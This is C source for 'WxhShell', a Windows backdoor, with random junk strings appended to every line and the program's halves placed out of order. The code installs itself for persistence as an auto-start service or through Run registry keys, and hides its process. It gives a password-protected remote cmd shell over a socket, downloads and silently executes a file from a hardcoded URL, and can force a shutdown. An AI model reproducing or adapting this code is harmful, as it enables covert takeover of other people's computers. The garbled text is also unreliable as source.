    if(Boot(SHUTDOWN)) hN_f h J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKZ`DB4  
    else { ,WB_C\.#XN  
    closesocket(wsh); Z-h7  
    ExitThread(0); +5t bK  
    } {pb9UUP2  
    break; D_n}p8blT  
    } o%WjJ~!zL  
  // 获取shell 6(J4IzZ  
  case 's': { euj8p:+X  
    CmdShell(wsh); T<f\*1~^  
    closesocket(wsh); Z 5)_B,E:X  
    ExitThread(0); ,c%K)KuPK.  
    break; <ql w+RVt  
  } m&`(p f4A  
  // 退出 4OOn,09  
  case 'x': { \SiHrr5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S2 "=B&,}  
    CloseIt(wsh); Y%0d\{@a  
    break; o`\.I&Ij  
    } wLOQhviI^-  
  // 离开 (\T0n[  
  case 'q': { I& M36f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jH&_E'XMX  
    closesocket(wsh); JpxbB)/  
    WSACleanup(); z{@R.'BD  
    exit(1); *|k;a]HT  
    break; 5Z9~ &U  
        } Z<ajET`)  
  } <wt$Gglk  
  } 'cAc{\)  
*j /S4qG  
  // 提示信息 Cl6m$YUt  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B+Y5b5+wOQ  
} Z%+BWS3YqY  
  } .B'UQ|NR  
7Y32p'  
  return; 1 @%B?  
} BeI;#m0  
N~):c2Kp<9  
// shell模块句柄 ss`P QN  
int CmdShell(SOCKET sock) 8wII{FHX  
{ +:>JZ$  
STARTUPINFO si; +%Lt".o  
ZeroMemory(&si,sizeof(si)); `s`C{|wv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /}w#Jk4pD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y7JZKtsFA  
PROCESS_INFORMATION ProcessInfo; ?Ml%$z@b?  
char cmdline[]="cmd"; ^Ue0mC7m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Il{^ j6  
  return 0; Z6Nj<2u2  
} -!J2x 8Ri  
-]Q(~'a  
// 自身启动模式 T~%H%O(F  
int StartFromService(void) ~^I\crx,U%  
{ jow7t\wk  
typedef struct OGJ=VQA  
{ Y5ogi )  
  DWORD ExitStatus; iW|s|1mh3  
  DWORD PebBaseAddress; gEv->pc  
  DWORD AffinityMask; =n-z;/NL  
  DWORD BasePriority; WY+(]Wkao  
  ULONG UniqueProcessId; LY-lTr@A^  
  ULONG InheritedFromUniqueProcessId; }iilzE4oH#  
}   PROCESS_BASIC_INFORMATION; "v(G7*2  
a`H\-G  
PROCNTQSIP NtQueryInformationProcess; B(j02<-  
1$$37?FE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5M%,N-P^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G HD^%)T5^  
d/XlV]#2x\  
  HANDLE             hProcess; A7k'K4  
  PROCESS_BASIC_INFORMATION pbi; O)`fvpVU  
6hkkNXqkf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [N)#/ 6j  
  if(NULL == hInst ) return 0; oi2J :Y4  
 YywEZ?X  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ],8;eq%W)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `gBD_0<T7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _QR g7  
8> UKIdp  
  if (!NtQueryInformationProcess) return 0; Fr-[UZ~V  
F:%^&%\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M h`CP  
  if(!hProcess) return 0; k$C"xg2  
Dp*:Q){>E  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8q?;2w\l  
>']+OrQH  
  CloseHandle(hProcess); W*k`  
v&xKi>A il  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NB E pM  
if(hProcess==NULL) return 0; $ye^uu;Z  
xXF2"+  
HMODULE hMod; W_^>MLq  
char procName[255]; ajW[eyX  
unsigned long cbNeeded; nV'3sUvR#  
[#p&D~Du&  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >DL/ ..  
~}BJ0P(VMc  
  CloseHandle(hProcess); _=ugxL #eB  
UL+E,=  
if(strstr(procName,"services")) return 1; // 以服务启动 Fse['O~  
eY T8$  
  return 0; // 注册表启动 M[~Jaxw%  
} bSQRLxF  
O -G1})$  
// 主模块 TWUUvj`.  
int StartWxhshell(LPSTR lpCmdLine) )S^z+3p  
{ Q6=MS>JW]w  
  SOCKET wsl; Y2<dM/b/  
BOOL val=TRUE; a\=-D:  
  int port=0; b\?3--q  
  struct sockaddr_in door; OR]T`meO  
`h?LVD'l  
  if(wscfg.ws_autoins) Install(); o,CBA;{P  
L?!$EPr  
port=atoi(lpCmdLine); rJu[ N(2k  
"Nbos.a]5  
if(port<=0) port=wscfg.ws_port; Yv^p =-E  
!Cw!+fZ\l  
  WSADATA data; *vYn_wE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MSl&?}Bj  
`\!X}xiWd  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qU#$2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G*B$%?n  
  door.sin_family = AF_INET; 2}w#3K  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rp0|zP,5  
  door.sin_port = htons(port); +P|2m"UA  
vv &BhIf3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1]j^d  
closesocket(wsl); > @+#  
return 1; X(]Zr  
} [B,'=,Hbs  
}qAVN  
  if(listen(wsl,2) == INVALID_SOCKET) { L1wZU,o  
closesocket(wsl); P.c O6+jGR  
return 1; H'EY)s Hi  
} ZRnL_ z~  
  Wxhshell(wsl); pYt/378w  
  WSACleanup(); QQFf5^  
H d*}k6  
return 0; ltoqtB\s  
nd:E9:  
} #zt*xS[{0  
Y9u;H^^G  
// 以NT服务方式启动 )Vg2Jix,]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) gz;&u)  
{ MLV:U  
DWORD   status = 0; '.Z4 hHX  
  DWORD   specificError = 0xfffffff; ^;r+W -MQ  
4=xq:Tf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; "b]#MO}P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FQROK4x%"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o2aM#Q  
  serviceStatus.dwWin32ExitCode     = 0; ]9*;;4M g  
  serviceStatus.dwServiceSpecificExitCode = 0; `XW*kxpm  
  serviceStatus.dwCheckPoint       = 0; KXf<$\+zO  
  serviceStatus.dwWaitHint       = 0; ^O)ve^P  
J B^Q\;$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $w)~xE5;  
  if (hServiceStatusHandle==0) return; ;#&fgj  
W`rMtzL5  
status = GetLastError(); *"cD.)]#2  
  if (status!=NO_ERROR) <'+ %\  
{ WhFS2Jl0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vX;HC'%n  
    serviceStatus.dwCheckPoint       = 0;  8gC)5Y  
    serviceStatus.dwWaitHint       = 0; Hm fXe  
    serviceStatus.dwWin32ExitCode     = status; wzh ]97b  
    serviceStatus.dwServiceSpecificExitCode = specificError; GX?*1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Km!nM$=k  
    return; J-V49X#  
  } "'a* [%  
]\Xc9N8w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Gf0,RH+  
  serviceStatus.dwCheckPoint       = 0; 02\JzBU  
  serviceStatus.dwWaitHint       = 0; m!O;>D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Yp1bH+/u  
} gcf6\f}\<  
Dx-KMiQ,"(  
// 处理NT服务事件,比如:启动、停止 q+ pOrGh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5f^>b\8+ |  
{ zN{JJ3-  
switch(fdwControl) RJ~ %0  
{ UXH"si:  
case SERVICE_CONTROL_STOP: P=`1rjPE  
  serviceStatus.dwWin32ExitCode = 0; 8uch i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _<zfQZai  
  serviceStatus.dwCheckPoint   = 0; L9FHgl?  
  serviceStatus.dwWaitHint     = 0; 8;8c"'Mn  
  { q'G,!];qL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \NK-L."[  
  } }$kQs!#  
  return; hat>kXm2K  
case SERVICE_CONTROL_PAUSE: `uo, __y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;AIc?Cg  
  break; y&oNv xG-  
case SERVICE_CONTROL_CONTINUE: tmJgm5v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c|AtBgvf  
  break; WKl+{e  
case SERVICE_CONTROL_INTERROGATE: TWd;EnNM  
  break; 909md|9K3  
}; zl%>`k!>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6X)@ajGWg~  
} S~NM\[S  
}]+xFj9[>  
// 标准应用程序主函数 q; ji w#_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~n?>[88"  
{ (GcT(~Gq)D  
zhblLBpeE\  
// 获取操作系统版本 SDYv(^ f ,  
OsIsNt=GetOsVer(); /nZ;v4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); vq!uD!lr  
7dOyxr"H-  
  // 从命令行安装 zt=0o| k  
  if(strpbrk(lpCmdLine,"iI")) Install(); z42F,4Gk  
7&B$HZ  
  // 下载执行文件 LL*mgTQ  
if(wscfg.ws_downexe) { @|\R}k%(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @=Fi7M  
  WinExec(wscfg.ws_filenam,SW_HIDE); %o w^dzW  
} p fT60W[m  
A],ooiq<  
if(!OsIsNt) { $uj(G7_  
// 如果时win9x,隐藏进程并且设置为注册表启动 4 !#a3=_  
HideProc(); p$E8Bn%[  
StartWxhshell(lpCmdLine); } JiSmi6o  
} qO@@8/l  
else bKDA!R2  
  if(StartFromService()) |=dC )Azs  
  // 以服务方式启动 [10zTU`  
  StartServiceCtrlDispatcher(DispatchTable); !>z:m!MlQ  
else o0It82?RN  
  // 普通方式启动 mXzrEI  
  StartWxhshell(lpCmdLine); %Ym^{N  
'%saL>0  
return 0; fc_2D|  
} z=7|{G  
fJAnKUF)  
H1EDMhn/  
"v-(g9(  
=========================================== !j:`7PT\  
GV.A+u  
I97yt[,Yy  
s{bdl[7  
(C;I*cv  
HQP}w%8x  
"  vZj`|  
\G |%Zw|  
#include <stdio.h> MV>$BW  
#include <string.h> ]3iH[,KU3  
#include <windows.h> Jc6R{C  
#include <winsock2.h> ?.=}pAub  
#include <winsvc.h> 2&!bfq![  
#include <urlmon.h> .L6Zm U  
.;7> y7$*  
#pragma comment (lib, "Ws2_32.lib") Z{6kWA3Kk  
#pragma comment (lib, "urlmon.lib") E#wS_[  
gJ$K\[+  
#define MAX_USER   100 // 最大客户端连接数 "Z=5gj  
#define BUF_SOCK   200 // sock buffer 6NWn(pZ]p  
#define KEY_BUFF   255 // 输入 buffer _~u2: yl (  
ZraT3  
#define REBOOT     0   // 重启 )!BsF'uVQ  
#define SHUTDOWN   1   // 关机 SQ*k =4*r  
4LH[4Yj?`  
#define DEF_PORT   5000 // 监听端口 e4>"92hX  
*hLQ  
#define REG_LEN     16   // 注册表键长度 <[:o !$  
#define SVC_LEN     80   // NT服务名长度 ?:{sH#ua  
RDqFL.-S  
// 从dll定义API . #lsic8]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t"072a  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \daZ k /@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U?a6D:~G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Z6p5* +  
VZ& A%UFC  
// wxhshell配置信息 '(Gi F  
struct WSCFG { .xhK'}l[  
  int ws_port;         // 监听端口 X1{[}!  
  char ws_passstr[REG_LEN]; // 口令 .iMN,+qP  
  int ws_autoins;       // 安装标记, 1=yes 0=no #>=j79~  
  char ws_regname[REG_LEN]; // 注册表键名 'G\XXf% J  
  char ws_svcname[REG_LEN]; // 服务名 ^~`?>}MJ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2 dp>Z",  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wr(*?p]R  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =Z=o#46JY  
int ws_downexe;       // 下载执行标记, 1=yes 0=no a, Q#Dk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ZK;zm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 jHXwOJq %  
(Rt7%{*  
}; o2z]dTJ}o  
[u}(57DS  
// default Wxhshell configuration 'H5M|c$s  
struct WSCFG wscfg={DEF_PORT, WY^W.1X  
    "xuhuanlingzhe", (;Y8pKl1e  
    1, ;5-r_D;9  
    "Wxhshell", X$%4$  
    "Wxhshell", 2*"Fu:a"`I  
            "WxhShell Service", .MQ^(  
    "Wrsky Windows CmdShell Service", "tjLc6Xl^  
    "Please Input Your Password: ", Wq*b~Lw  
  1, D:^$4}h f  
  "http://www.wrsky.com/wxhshell.exe", WrPUd{QM  
  "Wxhshell.exe" sJwyj D$b  
    }; /sM~U q?  
AfeCK1mC@  
// 消息定义模块 fXI:Y8T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; DejA4XdW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; oi}i\: hI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~qe%Yq  
char *msg_ws_ext="\n\rExit."; 7dsefNPb  
char *msg_ws_end="\n\rQuit."; 8 C[/dH  
char *msg_ws_boot="\n\rReboot..."; fb8%~3i>  
char *msg_ws_poff="\n\rShutdown..."; vAY,E=&XvM  
char *msg_ws_down="\n\rSave to "; Y!iZW  
z#BR5jF  
char *msg_ws_err="\n\rErr!"; }_=eT]  
char *msg_ws_ok="\n\rOK!"; JSh.]j<bJL  
WJ<^E"^  
char ExeFile[MAX_PATH]; sf&]u;^DY  
int nUser = 0; A_Frk'{qhB  
HANDLE handles[MAX_USER]; .EM`.  
int OsIsNt; 8-<:i  
0TpK#OlI|c  
SERVICE_STATUS       serviceStatus; qC F5~;7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `u>4\sv  
{*{Ox[Nh{  
// 函数声明 Eu"_MgD  
int Install(void); 'y8]_K*  
int Uninstall(void); L "sO+4w  
int DownloadFile(char *sURL, SOCKET wsh); .bBdQpF-  
int Boot(int flag); |rmg#;/D  
void HideProc(void); {(r6e  
int GetOsVer(void); cw iX8e"3  
int Wxhshell(SOCKET wsl); 45hF`b>%,  
void TalkWithClient(void *cs); ca+5=+X7  
int CmdShell(SOCKET sock);  {o(j^@  
int StartFromService(void); q, O$ %-70  
int StartWxhshell(LPSTR lpCmdLine); g}@OUG"D  
YPHS 1E?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LL:_L<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k)EX(T\  
>EY3/Go>  
// 数据结构和表定义 boDt`2=  
SERVICE_TABLE_ENTRY DispatchTable[] = }&_/PA0j  
{ MEB it  
{wscfg.ws_svcname, NTServiceMain}, ER,1(1]N  
{NULL, NULL} vWAL^?HUP  
}; d!eYqM7-G  
"DYJ21Ut4  
// 自我安装 M4as  
int Install(void) f^W;A"+  
{ 9 (QJT}qC  
  char svExeFile[MAX_PATH]; j?'GZ d"B  
  HKEY key; 98^V4maR:  
  strcpy(svExeFile,ExeFile); t!RiUZAo  
5\z `-)  
// 如果是win9x系统,修改注册表设为自启动 SdD6 ~LS  
if(!OsIsNt) { #%DE;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -Uml_/rd_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *}P~P$q%  
  RegCloseKey(key); Gz .|]:1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;*MLRXq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UX7t`l2R  
  RegCloseKey(key); XI^QF;,  
  return 0; 5oAK8I  
    } X&kp;W  
  } Y]&j,j&  
} 1I:+MBGin  
else { Bz,?{o6s)Q  
:OuA)f  
// 如果是NT以上系统,安装为系统服务 KCs[/]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]\|VpIg  
if (schSCManager!=0) h $2</J"  
{ 0Vx.nUQ  
  SC_HANDLE schService = CreateService a\r\PBi  
  ( !r<pmr3f@7  
  schSCManager, =E.wv  
  wscfg.ws_svcname, 4<BjC[@~Z{  
  wscfg.ws_svcdisp, E>K!Vrh-L  
  SERVICE_ALL_ACCESS, V:joFRH9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {;2PL^i  
  SERVICE_AUTO_START, Zu7)gf  
  SERVICE_ERROR_NORMAL, kGl~GOB a  
  svExeFile, q@{Bt{$x  
  NULL, lnjXD oVb<  
  NULL, 5 sX+~Q  
  NULL, vam;4vyu  
  NULL, 7'Mm205\  
  NULL $` ""  
  ); Hl,W=2N  
  if (schService!=0) vX.VfY  
  { %KLpig  
  CloseServiceHandle(schService); #{;k{~;PF  
  CloseServiceHandle(schSCManager); FYpzQ6s~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); x7Yu I  
  strcat(svExeFile,wscfg.ws_svcname); V-BiF>+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { m^zUmrj[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6e |*E`I  
  RegCloseKey(key); HAa; hb  
  return 0; yU*8|FQbP  
    } nlc "c5;jh  
  } p>huRp^w  
  CloseServiceHandle(schSCManager); a^I\ /&aw'  
} " )1V]}+m  
} cz8T  
JJN.ugT}1  
return 1; M<v%CawS  
} t7aefV&_,  
:/nj@X6  
// 自我卸载 cPlZXf  
int Uninstall(void) H*PSR  
{ Y^wW2-,m  
  HKEY key; %WjXg:R  
[D I+~F  
if(!OsIsNt) { ?82xdp g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7fZDs j:  
  RegDeleteValue(key,wscfg.ws_regname); Wi)_H$KII  
  RegCloseKey(key); 9dx/hFA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Y ,b?*UF  
  RegDeleteValue(key,wscfg.ws_regname); Hquc o  
  RegCloseKey(key); bKMy|_  
  return 0; Hx?;fl'G%  
  } X aMJDa|M  
} W_"sM0 w  
} g,!L$,/F  
else { ?Lk)gO^C  
\"P%`  C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V2wb%;q  
if (schSCManager!=0) sBT2j~jhJ  
{ [M=7M}f;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ig/xv  
  if (schService!=0) cK(C&NK  
  { GjvOM y  
  if(DeleteService(schService)!=0) { I&x=;   
  CloseServiceHandle(schService); 3YR!Mq$|~  
  CloseServiceHandle(schSCManager); nksLWfpG?B  
  return 0; ;,%fE2c  
  } gCB |DY  
  CloseServiceHandle(schService); k_rt&}e+Gi  
  } Swig;`  
  CloseServiceHandle(schSCManager); s"r*YlSp"  
} G3Hx! YW  
} g}1B;zGf  
j8 ^Iz  
return 1; 52Z2]T c ,  
} LTQ"8  
&]|?o_p3W  
// 从指定url下载文件 m[~y@7AK<  
int DownloadFile(char *sURL, SOCKET wsh) mn"G_I  
{ 8e1UmM[  
  HRESULT hr; 3YOq2pW72G  
char seps[]= "/"; "*e$aTZB\  
char *token; #A JDWelD  
char *file; RbOUfD(J4  
char myURL[MAX_PATH]; }C"%p8=HM  
char myFILE[MAX_PATH]; V^bwXr4f  
?BeiY zg  
strcpy(myURL,sURL); p>v$FiV2N  
  token=strtok(myURL,seps); Nk? ^1n$  
  while(token!=NULL) g}k`o!q  
  { Y!w`YYKP  
    file=token; wd8 l$*F*  
  token=strtok(NULL,seps); *&^Pj%DX  
  } yg<R=$n,Q  
|4;Fd9q^m  
GetCurrentDirectory(MAX_PATH,myFILE); ,~N/- 5  
strcat(myFILE, "\\"); IL#"~D?  
strcat(myFILE, file); hF~n)oQ  
  send(wsh,myFILE,strlen(myFILE),0); `ts$(u.w  
send(wsh,"...",3,0); k8&;lgO '  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k<CJ{u0<  
  if(hr==S_OK) 7rc0yB  
return 0; &[?\k>  
else 'CM|@Zz%  
return 1; Tztu}t]N  
[ )Iv^ U9  
} Hw}Xbp[y  
?jv/TBZX4  
// 系统电源模块 8mvy\l EEH  
int Boot(int flag) K7_UP&`=J  
{ 5y.WMNNv{  
  HANDLE hToken;  MzdV2.  
  TOKEN_PRIVILEGES tkp; & p  
/|6N*>l)y  
  if(OsIsNt) { /$Nsd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 3w*R&  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 2j [=\K]  
    tkp.PrivilegeCount = 1; JzQ_{J`k  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6,8h]?u.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); )4e.k$X^  
if(flag==REBOOT) { vtg !8u4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) x}Eg.S  
  return 0; ].w4$OJ?  
} cKca;SNql1  
else { G:<aB  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #4 <SAgq  
  return 0; :'X&bn  
} >C>.\  
  } gV's=cQ  
  else { Y.(PiuG$G  
if(flag==REBOOT) { %v M-mbX  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ju@c~Xm  
  return 0; EHJ.T~X  
} g*AWE,%=|  
else { *a M=Z+  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,q`\\d  
  return 0; Xx~Bp+  
} O m|_{  
} I3L<[-ZE  
zFfr. g;L  
return 1; 8b& /k8i:  
} VPJElRSH  
w,.TTTad  
// win9x进程隐藏模块 oWT3apGO  
void HideProc(void) y'.p&QH'`  
{ sUO`uqZV  
 ?(1 y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rH Lm\3  
  if ( hKernel != NULL ) &jJL"gq"  
  { 6P l<'3&  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); F0TB<1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AO4U}?  
    FreeLibrary(hKernel); ASA,{w]  
  } m.rmM`  
+Mb.:_7'  
return; Rh{f5-  
} GR_-9}jQP  
(mpNcOY<D  
// 获取操作系统版本 z43M] P<  
int GetOsVer(void) m=:9+z  
{ 'o2Fa_|<#  
  OSVERSIONINFO winfo; Dw.J2>uj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); m+[Ux{$  
  GetVersionEx(&winfo); e#8Q L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H/ HMm{4  
  return 1; C ;W"wBz9  
  else IHac:=*Q  
  return 0; rglXs  
} ~q.F<6O  
}o(-=lF  
// 客户端句柄模块 PJ%C N(0  
int Wxhshell(SOCKET wsl) 4xje$/_d  
{ oLeq!K}re  
  SOCKET wsh; -G rE} L  
  struct sockaddr_in client; *L^,|   
  DWORD myID; 77f9(~ZnT  
N =}A Z{$  
  while(nUser<MAX_USER) U%QI a TN*  
{ zwjgE6  
  int nSize=sizeof(client); [}=B8#Jl-C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f}P3O3Yv&  
  if(wsh==INVALID_SOCKET) return 1; 6A-|[(NS  
F^;ez/Gl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gR;i(81U  
if(handles[nUser]==0) r`d4e,(  
  closesocket(wsh); \~$#1D1f  
else :4/3q|cn  
  nUser++; &j"?\f?  
  }  eq;uO6[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }&J q}j  
{4Cmu;u  
  return 0; 'zTLl8P  
} dR,fXQm  
k?^z;Tlvw  
// 关闭 socket $%#!bV  
void CloseIt(SOCKET wsh) q>+k@>bk @  
{ @q7I4  
closesocket(wsh); S4z;7z(8+  
nUser--; uy$e?{Jf  
ExitThread(0); YU'E@t5  
} 3F2w-+L  
@# l= l  
// 客户端请求句柄 ?CPahU  
void TalkWithClient(void *cs) d\8l`Krs[_  
{ !pX>!&sb  
 x'<X!gw  
  SOCKET wsh=(SOCKET)cs; )3EY;  
  char pwd[SVC_LEN]; Kn1a>fLaJ_  
  char cmd[KEY_BUFF]; E ~<JC"]  
char chr[1]; 0x@ mZ  
int i,j; >|UOz&  
-FaJ^CN~  
  while (nUser < MAX_USER) { %>{0yEC  
Tyx_/pJT  
if(wscfg.ws_passstr) { 3f{3NzN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8{sGNCvU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %* }(}~  
  //ZeroMemory(pwd,KEY_BUFF); 2\{zmc}G-0  
      i=0; uK Hxe~  
  while(i<SVC_LEN) { DB}eA N/  
cVF "!.  
  // 设置超时 3 Za}b|  
  fd_set FdRead; o>pJPV  
  struct timeval TimeOut; 0@oJFJrO  
  FD_ZERO(&FdRead);  2JBR)P  
  FD_SET(wsh,&FdRead); 4,DeHJjAlE  
  TimeOut.tv_sec=8; t b}V5VH  
  TimeOut.tv_usec=0; /k3:']G,s  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pv|G^,>#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <RL]  
(9dl(QSd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FQ\h4` >B  
  pwd=chr[0]; /%^#8<=|U  
  if(chr[0]==0xd || chr[0]==0xa) { 3[*}4}k9  
  pwd=0; H4+i.*T#  
  break; ep{FpB  
  } ]t"Ss_,  
  i++; PEZ!n.'S  
    } oOFVb5qoFU  
fz "Y CHe  
  // 如果是非法用户,关闭 socket 61U09s%\0  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .Z *'d  
} F:S}w   
S?2>Er  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =T7.~W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y.p;1"  
LKDO2N  
while(1) { _H@DLhH|=  
GZIa 4A  
  ZeroMemory(cmd,KEY_BUFF); sFRQe]zCcP  
u>vL/nI  
      // 自动支持客户端 telnet标准   X^jfuA  
  j=0; Xsa].  
  while(j<KEY_BUFF) { cw <l{A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3=oDQ&UFt  
  cmd[j]=chr[0]; Jln:`!#fDf  
  if(chr[0]==0xa || chr[0]==0xd) { o ^uA">GH  
  cmd[j]=0; ^U/O !GK  
  break; u=e{]Ax#}  
  } N8df8=.kw  
  j++; rYk0 ak  
    } wUJcmM;  
r5^eNg k  
  // 下载文件 k+*u/neh  
  if(strstr(cmd,"http://")) { x]j W<A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UJ2U1H54h  
  if(DownloadFile(cmd,wsh)) xyXa .  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4^<?Wq~  
  else n+M<\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]6j{@z?{  
  } "#g}ve,  
  else { E!F^H^~$8  
&UFZS94@r  
